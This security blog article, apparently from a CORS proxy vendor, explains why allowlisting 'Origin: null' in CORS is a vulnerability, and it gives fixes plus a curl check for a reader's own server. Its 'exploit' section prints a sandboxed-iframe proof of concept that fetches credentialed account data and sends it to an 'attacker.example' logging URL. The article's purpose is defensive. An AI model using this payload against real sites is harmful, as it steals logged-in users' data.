Null origin in CORS: why you can't trust it
Every browser can send a request with Origin: null, and the page that triggers it doesn't need any special access — a sandboxed iframe or a local file:// page will do. Some servers special-case that value in their CORS logic anyway, usually to stop local testing from failing. Here's where the null origin actually comes from, why allowlisting it is a documented vulnerability rather than a workaround, and how to check your own server for it.
Where "Origin: null" comes from
The Origin header isn't always a scheme-plus-host. Per the MDN reference for Access-Control-Allow-Origin, requests from documents whose origin doesn't serialize to a normal scheme/host/port triple send the literal string null instead. Two cases produce this on every browser:
- A sandboxed iframe —
<iframe sandbox>without theallow-same-origintoken gets an opaque origin by design, even though it's embedded in a normal page on a normal domain. - A local
file://page — opening an HTML file directly in the browser (no server, nohttp://) also serializes tonull.
Neither of those requires the attacker to control any infrastructure. Any page on the web can embed a sandboxed iframe that makes a request with Origin: null, whenever it wants, targeting whatever URL it wants.
Why servers end up trusting it
The usual path: someone opens an HTML file locally while debugging, their fetch call fails with a CORS error, they inspect the request and see Origin: null, and they add null to the allowlist to make the error go away. It works in development, ships to production, and now the server will set Access-Control-Allow-Origin: null for anyone who sends that header — which, as above, is anyone who wants to.
It's a narrower case of a broader mistake: a server that reflects whatever Origin it receives, with no validation at all, is exactly the misconfiguration the OWASP Web Security Testing Guide's CORS chapter flags as insecure — it calls out echoing the Origin header back without checks as a way to expose sensitive data to any origin. Trusting null specifically is just that mistake with one extra step of plausible deniability: it looks like a narrow, deliberate allowance instead of "accept anything."
The exploit, concretely
PortSwigger publishes a runnable lab for exactly this: CORS vulnerability with trusted null origin, where a sandboxed iframe forces the null origin and reads back data from an account endpoint that trusts it. The shape of that attack, in its simplest form, is a sandboxed iframe that issues a credentialed request and exfiltrates whatever comes back:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
fetch('https://victim.example/account-data', { credentials: 'include' })
.then(r => r.text())
.then(t => fetch('https://attacker.example/log?d=' + encodeURIComponent(t)));
</script>"></iframe>
This only reads anything back if three things are all true at once on the victim server: it echoes Access-Control-Allow-Origin: null, it sends Access-Control-Allow-Credentials: true, and the victim is logged in so their session cookie rides along with credentials: 'include'. That's exactly the combination the credentialed request rules exist to gate — and trusting null quietly satisfies the origin half of it for free, for anyone.
A W3C WebAppSec mailing list thread from 2017 makes the underlying point plainly: every sandboxed frame sends the same null value, so a server that trusts it has no way to distinguish a sandboxed page it meant to allow from a sandboxed page an attacker built on their own site. There's no safer way to write that allowlist entry — the value itself doesn't carry enough information to trust, no matter how carefully it's checked.
What to do instead
- Never put
nullin a CORS allowlist. If your server reflects allowed origins from a list, excludenullexplicitly, or just don't special-case it — an unmatched origin should fail closed. - Fix the local-testing error at the source. The reason
nullshows up in development is almost always opening a file directly. Run a local static server (python3 -m http.server, Vite,live-server) instead of double-clicking the HTML file, and the request will carry a realhttp://localhostorigin that you can allowlist safely. See 5 ways to fix CORS in development for the options. - Match origins exactly, not by substring or prefix. A check like "does the
Originheader contain my domain" passes for an attacker-controlled host such asvictim.com.attacker.netjust as easily as it passes for the real thing. Parse the header as a URL and compare the full origin, not a substring. - Don't combine a loose origin check with credentials. If the endpoint doesn't need cookies or
Authorizationforwarded cross-origin, dropAccess-Control-Allow-Credentialsentirely — see CORS with cookies and credentials for the full rule set.
Checking your own server
One request tells you whether this applies to you:
curl -sI -H "Origin: null" -H "Cookie: session=test" \
https://your-api.example.com/some-authenticated-route | grep -i access-control
If Access-Control-Allow-Origin: null comes back alongside Access-Control-Allow-Credentials: true, the endpoint is exploitable exactly as described above — fix it before anything else on this page.
Where corsproxy.dev stands on this
corsproxy.dev's own CORS headers don't reflect the Origin header at all: Access-Control-Allow-Origin is always *, and we never send Access-Control-Allow-Credentials, so there's no origin-trust decision to get wrong in the first place. That's a deliberate trade covered in more depth in how a CORS proxy works — and how it can be abused.
API keys have a separate, narrower origin control — an allowlist of browser origins permitted to use a given key — and it's built on the same strict-parsing rule the exploit above depends on being absent: an allowed origin has to parse as a real http: or https: URL with no path, query, or credentials. null doesn't parse that way, so it can't be entered as a rule, by construction rather than by a special case someone had to remember to add.